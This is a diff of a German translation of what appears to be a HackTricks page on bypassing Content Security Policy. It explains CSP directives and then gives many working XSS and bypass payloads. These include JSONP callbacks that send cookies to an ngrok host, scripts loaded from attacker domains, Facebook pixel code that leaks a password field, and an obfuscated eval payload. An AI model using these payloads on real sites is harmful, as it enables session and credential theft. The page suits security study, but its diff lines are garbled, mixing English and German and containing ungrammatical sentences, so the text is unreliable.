+- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, blockiert sie jedoch nicht. Ideal zum Testen in Vorproduktionsumgebungen.

-### Defining Resources
+### Ressourcen definieren

-CSP beschränkt die Ursprünge, von denen sowohl aktiver als auch passiver Content geladen werden darf, und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
+CSP beschränkt die Ursprünge, von denen sowohl aktive als auch passive Inhalte geladen werden dürfen, und steuert Aspekte wie die Ausführung von inline JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Policy ist:
 ```bash
 default-src 'none';
 img-src 'self';
@ -39,42 +39,42 @@ object-src 'none';
 ```
 ### Direktiven

- **script-src**: Erlaubt bestimmte Quellen für JavaScript, einschließlich URLs, Inline-Skripten und Skripten, die durch Event-Handler oder XSLT-Stylesheets ausgelöst werden.
- **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische fetch-Direktiven fehlen.
- **child-src**: Gibt erlaubte Ressourcen für Web Worker und eingebettete Frame-Inhalte an.
- **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket oder XMLHttpRequest geladen werden können.
+- **script-src**: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripten und Skripten, die durch Event-Handler oder XSLT-Stylesheets ausgelöst werden.
+- **default-src**: Setzt eine Standardrichtlinie zum Laden von Ressourcen, wenn spezifische Fetch-Direktiven fehlen.
+- **child-src**: Gibt erlaubte Ressourcen für Web Workers und eingebettete Frame-Inhalte an.
+- **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
 - **frame-src**: Beschränkt URLs für Frames.
- **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten dürfen; anwendbar auf Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>`, und `<applet>`.
+- **frame-ancestors**: Gibt an, welche Quellen die aktuelle Seite einbetten dürfen; gilt für Elemente wie `<frame>`, `<iframe>`, `<object>`, `<embed>`, und `<applet>`.
 - **img-src**: Definiert erlaubte Quellen für Bilder.
- **font-src**: Gibt gültige Quellen für Schriften an, die mittels `@font-face` geladen werden.
+- **font-src**: Gibt gültige Quellen für Fonts an, die mit `@font-face` geladen werden.
 - **manifest-src**: Definiert erlaubte Quellen für Application-Manifest-Dateien.
- **media-src**: Definiert erlaubte Quellen zum Laden von Medienobjekten.
- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>`, und `<applet>`-Elemente.
- **base-uri**: Gibt erlaubte URLs für das Laden über `<base>`-Elemente an.
+- **media-src**: Definiert erlaubte Quellen zum Laden von Media-Objekten.
+- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
+- **base-uri**: Gibt erlaubte URLs für das Laden mittels `<base>`-Elementen an.
 - **form-action**: Listet gültige Endpunkte für Formular-Submits auf.
 - **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
- **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
- **sandbox**: Wendet Einschränkungen ähnlich dem sandbox-Attribut eines `<iframe>` an.
- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, falls die Richtlinie verletzt wird.
+- **upgrade-insecure-requests**: Anweist Browser, HTTP-URLs in HTTPS umzuschreiben.
+- **sandbox**: Wendet Beschränkungen ähnlich dem sandbox-Attribut eines `<iframe>` an.
+- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
 - **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die geholt oder vorab geladen werden.
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf irgendeine Weise navigieren kann (a, form, window.location, window.open, etc.)
+- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab geladen werden.
+- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open, etc.)

 ### Quellen

- `*`: Erlaubt alle URLs außer solchen mit den Schemen `data:`, `blob:`, `filesystem:`.
- `'self'`: Erlaubt das Laden aus derselben Domain.
- `'data'`: Erlaubt Ressourcen über das data-Schema zu laden (z. B. Base64-kodierte Bilder).
- `'none'`: Sperrt das Laden von allen Quellen.
+- `*`: Erlaubt alle URLs außer solchen mit den Schemata `data:`, `blob:`, `filesystem:`.
+- `'self'`: Erlaubt das Laden von der gleichen Domain.
+- `'data'`: Erlaubt das Laden von Ressourcen über das data-Schema (z. B. Base64-codierte Bilder).
+- `'none'`: Blockiert das Laden von jeglicher Quelle.
 - `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden; aus Sicherheitsgründen nicht empfohlen.
 - `'unsafe-hashes'`: Ermöglicht bestimmte inline Event-Handler.
- `'unsafe-inline'`: Erlaubt die Verwendung von Inline-Ressourcen wie inline `<script>` oder `<style>`; aus Sicherheitsgründen nicht empfohlen.
- `'nonce'`: Eine Whitelist für bestimmte inline-Skripte, die einen kryptographischen Nonce (einmal verwendete Zahl) nutzen.
+- `'unsafe-inline'`: Erlaubt die Nutzung von Inline-Ressourcen wie inline `<script>` oder `<style>`; aus Sicherheitsgründen nicht empfohlen.
+- `'nonce'`: Eine Whitelist für spezifische Inline-Skripte, die einen kryptographischen Nonce (einmalige Zahl) verwenden.
 - If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:

 <details>

-<summary>Skript laden: Nonce wiederverwenden</summary>
+<summary>Script laden und Nonce wiederverwenden</summary>
 ```html
 <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
 <img
@ -88,15 +88,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 </details>

- `'sha256-<hash>'`: Erlaubt Skripte mit einem spezifischen sha256-Hash.
- `'strict-dynamic'`: Erlaubt das Laden von Skripten aus beliebigen Quellen, wenn diese durch ein nonce oder einen hash auf die Whitelist gesetzt wurden.
- `'host'`: Gibt einen spezifischen Host an, z. B. `example.com`.
+- `'sha256-<hash>'`: Erlaubt Skripte mit einem bestimmten sha256-Hash.
+- `'strict-dynamic'`: Ermöglicht das Laden von Skripten aus beliebigen Quellen, wenn sie durch ein nonce oder einen Hash auf die Whitelist gesetzt wurden.
+- `'host'`: Gibt einen bestimmten Host an, z. B. `example.com`.
 - `https:`: Beschränkt URLs auf solche, die HTTPS verwenden.
- `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z. B. Blob-URLs, die via JavaScript erstellt wurden).
+- `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z. B. Blob-URLs, die via JavaScript erstellt werden).
 - `filesystem:`: Erlaubt das Laden von Ressourcen aus dem Dateisystem.
- `'report-sample'`: Fügt dem Verletzungsbericht ein Beispiel des verletzenden Codes hinzu (nützlich zum Debuggen).
- `'strict-origin'`: Ähnlich wie 'self', stellt jedoch sicher, dass das Protokoll-Sicherheitsniveau der Quellen mit dem des Dokuments übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
- `'strict-origin-when-cross-origin'`: Sendet bei gleichoriginigen Anfragen vollständige URLs, bei cross-origin-Anfragen jedoch nur die Origin.
+- `'report-sample'`: Fügt dem Verstoßbericht ein Beispiel des verletzenden Codes bei (nützlich zum Debuggen).
+- `'strict-origin'`: Ähnlich wie 'self', stellt aber sicher, dass das Protokoll-Sicherheitsniveau der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen von sicheren Ursprüngen laden).
+- `'strict-origin-when-cross-origin'`: Sendet vollständige URLs bei same-origin-Anfragen, sendet jedoch nur die Origin bei cross-origin-Anfragen.
 - `'unsafe-allow-redirects'`: Erlaubt das Laden von Ressourcen, die sofort auf eine andere Ressource weiterleiten. Nicht empfohlen, da es die Sicherheit schwächt.

 ## Unsichere CSP-Regeln
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 ```
-Funktionierender payload: `"/><script>alert(1);</script>`
+Funktionierender Payload: `"/><script>alert(1);</script>`

 #### self + 'unsafe-inline' über Iframes

@ -117,17 +117,17 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
 ### 'unsafe-eval'

 > [!CAUTION]
-> Dies funktioniert nicht, für mehr Infos [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
+> Dies funktioniert nicht, für mehr Infos [**siehe hier**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
-Funktionierender Payload:
+Funktionierender payload:
 ```html
 <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
 ```
 ### strict-dynamic

-Wenn du es irgendwie schaffst, dass ein **erlaubter JS-Code ein neues script tag** im DOM mit deinem JS-Code erstellt (weil ein erlaubtes Script es erzeugt), dann wird das **neue script tag zur Ausführung zugelassen**.
+Wenn du es irgendwie schaffst, dass ein **erlaubter JS-Code im DOM ein neues script tag mit deinem JS-Code erzeugt**, weil ein erlaubtes Script es erstellt, wird das **neue script tag zur Ausführung zugelassen**.

 ### Wildcard (\*)
 ```yaml
@ -138,7 +138,7 @@ Funktionierender Payload:
 "/>'><script src=https://attacker-website.com/evil.js></script>
 "/>'><script src=data:text/javascript,alert(1337)></script>
 ```
-### Fehlende object-src- und default-src-Direktiven
+### Fehlende object-src und default-src

 > [!CAUTION] > **Es scheint, dass dies nicht mehr funktioniert**
 ```yaml
@ -160,18 +160,18 @@ Funktionierender payload:
 ```html
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-Es ist jedoch sehr wahrscheinlich, dass der Server die **hochgeladene Datei validiert** und nur zulässt, dass du **bestimmte Dateitypen hochlädst**.
+However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.

-Außerdem, selbst wenn du **JS code inside** in einer Datei hochladen könntest, deren Erweiterung vom Server akzeptiert wird (z. B.: _script.png_), reicht das nicht aus, weil einige Server wie apache server den MIME-Typ der Datei anhand der Erweiterung auswählen und Browser wie Chrome die Ausführung von Javascript-Code innerhalb von etwas, das ein Bild sein sollte, ablehnen. "Glücklicherweise" passieren Fehler. Zum Beispiel habe ich in einem CTF gelernt, dass **Apache doesn't know** die _**.wave**_ Erweiterung, daher serviert es diese nicht mit einem **MIME type like audio/***.
+Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like Apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache die _**.wave**_ extension nicht kennt, therefore it doesn't serve it with a **MIME type like audio/***.

-Von hier aus, wenn du eine XSS und einen File Upload findest und es schaffst, eine **misinterpreted extension** zu finden, könntest du versuchen, eine Datei mit dieser Endung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei prüft, erstelle ein polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
+From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).

 ### Form-action

-Wenn es nicht möglich ist, JS zu injizieren, könntest du trotzdem versuchen, z. B. Zugangsdaten zu exfiltrieren, indem du eine **injecting a form action** (und eventuell in der Erwartung, dass Password-Manager Passwörter automatisch ausfüllen). Du findest ein [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Außerdem beachte, dass `default-src` form actions nicht abdeckt.
+If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.

 > [!WARNING]
-> Bei einigen der folgenden payloads ist **`unsafe-eval` nicht einmal nötig**.
+> Für einige der folgenden payloads ist **`unsafe-eval` nicht einmal nötig**.
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
@ -196,10 +196,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads, die Angular und eine Bibliothek nutzen, deren Funktionen das `window`-Objekt zurückgeben ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

 > [!TIP]
-> Der Beitrag zeigt, dass man alle **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS libraries repo) **laden** kann, alle hinzugefügten Funktionen jeder Bibliothek ausführen und prüfen, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
+> Der Beitrag zeigt, dass du alle **Bibliotheken** von `cdn.cloudflare.com` (oder jedem anderen erlaubten JS libraries repo) **laden** kannst, alle hinzugefügten Funktionen jeder Bibliothek ausführst und überprüfst, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
 ```html
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -223,7 +223,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 {{[].erase.call().alert('xss')}}
 </div>
 ```
-Angular XSS aus einem Klassennamen:
+Angular XSS durch einen Klassennamen:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -231,7 +231,7 @@ Angular XSS aus einem Klassennamen:
 ```
 #### Missbrauch von google recaptcha JS code

-Laut [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kannst du [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) innerhalb einer CSP missbrauchen, um beliebigen JS code auszuführen und die CSP zu umgehen:
+Laut [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) kannst du [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) innerhalb einer CSP ausnutzen, um beliebigen JS code auszuführen und die CSP zu umgehen:
 ```html
 <div
 ng-controller="CarouselController as c"
@ -261,19 +261,19 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 #### Ausnutzen von www.google.com für open redirect

-Die folgende URL leitet zu example.com weiter (von [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
+Die folgende URL leitet zu example.com weiter (aus [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
 ```
 https://www.google.com/amp/s/example.com/
 ```
 Abusing \*.google.com/script.google.com

-Es ist möglich, Google Apps Script zu abuse, um Informationen auf einer Seite innerhalb von script.google.com zu empfangen. Wie es [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
+Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu erhalten. Wie es [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).

-### Drittanbieter-Endpunkte + JSONP
+### Third Party Endpoints + JSONP
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Szenarien wie dieses, in denen `script-src` auf `self` gesetzt ist und eine bestimmte Domain weißgelistet ist, können mithilfe von JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere Callback-Methoden, die einem Angreifer XSS ermöglichen. Funktionierender Payload:
+Szenarien wie dieses, in denen `script-src` auf `self` gesetzt ist und eine bestimmte Domain zugelassen ist, können mit JSONP umgangen werden. JSONP-Endpunkte erlauben unsichere callback-Methoden, die einem Angreifer erlauben, XSS auszuführen. Funktionierender Payload:
 ```html
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -287,15 +287,15 @@ https://www.youtube.com/oembed?callback=alert;
 ```html
 <script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum CSP-Bypass verschiedener Websites.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum CSP bypass verschiedener Websites.**

-Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpoint ein Open Redirect enthält**, denn wenn der ursprüngliche Endpoint vertraut wird, sind auch Redirects vertrauenswürdig.
+Die gleiche Schwachstelle tritt auf, wenn der **trusted endpoint contains an Open Redirect**, denn wenn der initiale Endpoint vertrauenswürdig ist, sind auch Redirects vertrauenswürdig.

 ### Missbrauch durch Drittanbieter

-Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Drittanbieter-Domains, die in der CSP erlaubt sein könnten und dazu missbraucht werden können, entweder Daten zu exfiltrate oder JavaScript code auszuführen. Einige dieser Drittanbieter sind:
+Wie in dem [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) beschrieben, gibt es viele Third-Party-Domains, die irgendwo in der CSP erlaubt sein könnten und missbraucht werden können, um entweder Daten zu exfiltrieren oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:

-| Anbieter          | Erlaubte Domain                              | Fähigkeiten  |
+| Entität            | Erlaubte Domain                               | Fähigkeiten |
 | ----------------- | -------------------------------------------- | ------------ |
 | Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
 | Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
@ -306,7 +306,7 @@ Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#
 | Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |

-Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, ist die Wahrscheinlichkeit hoch, dass Sie den CSP umgehen können, indem Sie sich beim Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrate oder JavaScript code ausführen.
+Wenn Sie eine der erlaubten Domains in der CSP Ihres Targets finden, ist die Wahrscheinlichkeit groß, dass Sie die CSP umgehen können, indem Sie sich beim Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.

 Zum Beispiel, wenn Sie die folgende CSP finden:
 ```
@ -316,43 +316,43 @@ oder
 ```
 Content-Security-Policy: connect-src www.facebook.com;
 ```
-Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es schon immer mit [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gemacht wurde. In diesem Fall folgen Sie diesen allgemeinen Schritten:
+Du solltest in der Lage sein, Daten zu exfiltrieren, ähnlich wie es schon immer mit [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gemacht wurde. In diesem Fall folgst du diesen allgemeinen Schritten:

-1. Erstellen Sie hier ein Facebook Developer account.
-2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
-3. Gehen Sie zu "Settings -> Basic" und holen Sie Ihre "App ID"
-4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten exfiltrieren, indem Sie direkt das Facebook SDK-Gadget "fbq" über ein "customEvent" und die data payload verwenden.
-5. Gehen Sie zu Ihrer App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event Manager unter einer URL ähnlich wie dieser zu finden sein kann: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
-6. Wählen Sie den Tab "Test Events", um die von Ihrer Website gesendeten Events zu sehen.
+1. Erstelle hier ein Facebook Developer account.
+2. Create a new "Facebook Login" app and select "Website".
+3. Gehe zu "Settings -> Basic" und hole deine "App ID"
+4. Auf der Zielseite, von der du Daten exfiltrate möchtest, kannst du diese direkt exfiltrate, indem du das Facebook SDK Gadget "fbq" über ein "customEvent" und die Daten-Payload verwendest.
+5. Gehe zu deiner App "Event Manager" und wähle die Anwendung, die du erstellt hast (beachte, der Event Manager könnte unter einer URL ähnlich dieser zu finden sein: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
+6. Wähle den Tab "Test Events", um die Events zu sehen, die von "deiner" web site gesendet werden.

-Dann führen Sie auf der Opferseite den folgenden Code aus, um das Facebook tracking pixel so zu initialisieren, dass es auf die App-ID des Angreifers in dessen Facebook Developer account zeigt, und ein custom event auszulösen, wie folgt:
+Dann führst du auf der Opferseite den folgenden Code aus, um das Facebook tracking pixel auf die App-ID des Angreifers' Facebook Developer account zu initialisieren und ein "customEvent" wie folgt auszulösen:
 ```JavaScript
 fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
 });
 ```
-Was die anderen sieben Drittanbieter-Domains aus der vorherigen Tabelle betrifft, gibt es viele weitere Möglichkeiten, wie du sie missbrauchen kannst. Siehe den zuvor [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Missbräuchen von Drittanbietern.
+Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, sie zu missbrauchen. Siehe den zuvor verlinkten [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.

 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

-Zusätzlich zu der oben erwähnten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.
+Neben der bereits erwähnten Umleitung zum Umgehen von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern angewendet werden kann.

-For example, if CSP allows the path `https://example.com/scripts/react/`, it can be bypassed as follows:
+Zum Beispiel, wenn CSP den Pfad `https://example.com/scripts/react/` erlaubt, kann dieser wie folgt umgangen werden:
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
-Der Browser wird letztendlich `https://example.com/scripts/angular/angular.js` laden.
+Der Browser wird schließlich `https://example.com/scripts/angular/angular.js` laden.

-Das funktioniert, weil der Browser eine Datei mit dem Namen `..%2fangular%2fangular.js` lädt, die sich unter `https://example.com/scripts/react/` befindet, was mit der CSP konform ist.
+Das funktioniert, weil der Browser eine Datei namens `..%2fangular%2fangular.js` lädt, die sich unter `https://example.com/scripts/react/` befindet, was mit CSP konform ist.

-Dadurch dekodiert er sie und fordert effektiv `https://example.com/scripts/react/../angular/angular.js` an, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.
+Dabei wird es decodiert, wodurch effektiv `https://example.com/scripts/react/../angular/angular.js` angefragt wird, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.

-Durch **Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden**.
+Durch **Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen Browser und Server können die Pfadregeln umgangen werden**.

-Die Lösung ist, `%2f` auf Serverseite nicht als `/` zu behandeln, sodass eine konsistente Interpretation zwischen Browser und Server gewährleistet ist und dieses Problem vermieden wird.
+Die Lösung besteht darin, `%2f` serverseitig nicht als `/` zu behandeln, um eine konsistente Interpretation zwischen Browser und Server sicherzustellen und dieses Problem zu vermeiden.

-Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
+Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

 ### Iframes JS-Ausführung

@ -363,31 +363,31 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin

 ### fehlende **base-uri**

-Wenn die **base-uri**-Direktive fehlt, kannst du sie ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.
+Wenn die **base-uri**-Direktive fehlt, kann man sie ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.

-Außerdem, wenn die **Seite ein Script mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) und einen **Nonce** verwendet, kannst du das **base** **tag** missbrauchen, damit es das Script **lädt** von **deinem eigenen Server und so XSS ermöglicht.**\
-Wenn die verwundbare Seite mit **httpS** geladen wird, verwende in der base eine httpS-URL.
+Außerdem, wenn die **Seite ein Script mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) und dabei eine **Nonce** verwendet wird, kann man das **base** **tag** missbrauchen, um das Script vom eigenen Server zu laden und so eine XSS zu erzielen.\
+Wenn die verwundbare Seite mit **httpS** geladen wird, verwende eine httpS-URL im base.
 ```html
 <base href="https://www.attacker.com/" />
 ```
 ### AngularJS-Ereignisse

-Eine spezifische Richtlinie namens Content Security Policy (CSP) kann JavaScript-Ereignisse einschränken. Nichtsdestotrotz führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein spezielles Objekt `$event` bereit, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Besonders in Chrome besitzt das `$event/event`-Objekt ein `path`-Attribut, das ein Array von Objekten enthält, die an der Ausführungskette des Ereignisses beteiligt sind, wobei das `window`-Objekt stets am Ende steht. Diese Struktur ist entscheidend für Sandbox-Escape-Taktiken.
+Eine spezielle Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch bietet AngularJS als Alternative benutzerdefinierte Events an. Innerhalb eines Events stellt AngularJS das spezielle Objekt `$event` zur Verfügung, das auf das native Browser-Eventobjekt verweist. Dieses `$event`-Objekt lässt sich ausnutzen, um die CSP zu umgehen. Besonders in Chrome besitzt das `$event/event`-Objekt ein `path`-Attribut, das ein Array von Objekten enthält, die an der Ausführungskette des Events beteiligt sind, wobei das `window`-Objekt stets am Ende steht. Diese Struktur ist entscheidend für sandbox escape Taktiken.

-Indem dieses Array an den `orderBy`-Filter übergeben wird, ist es möglich, darüber zu iterieren und das letzte Element (das `window`-Objekt) zu verwenden, um eine globale Funktion wie `alert()` auszulösen. Der unten gezeigte Codeausschnitt veranschaulicht diesen Vorgang:
+Indem dieses Array an den `orderBy`-Filter übergeben wird, ist es möglich, darüber zu iterieren und das letzte Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der folgende Code-Snippet veranschaulicht diesen Prozess:
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
-Dieses Snippet hebt die Verwendung der Direktive `ng-focus` hervor, um das Event auszulösen, dabei `$event.path|orderBy` einzusetzen, um das `path`-Array zu manipulieren, und das `window`-Objekt zu nutzen, um die Funktion `alert()` auszuführen und so `document.cookie` offenzulegen.
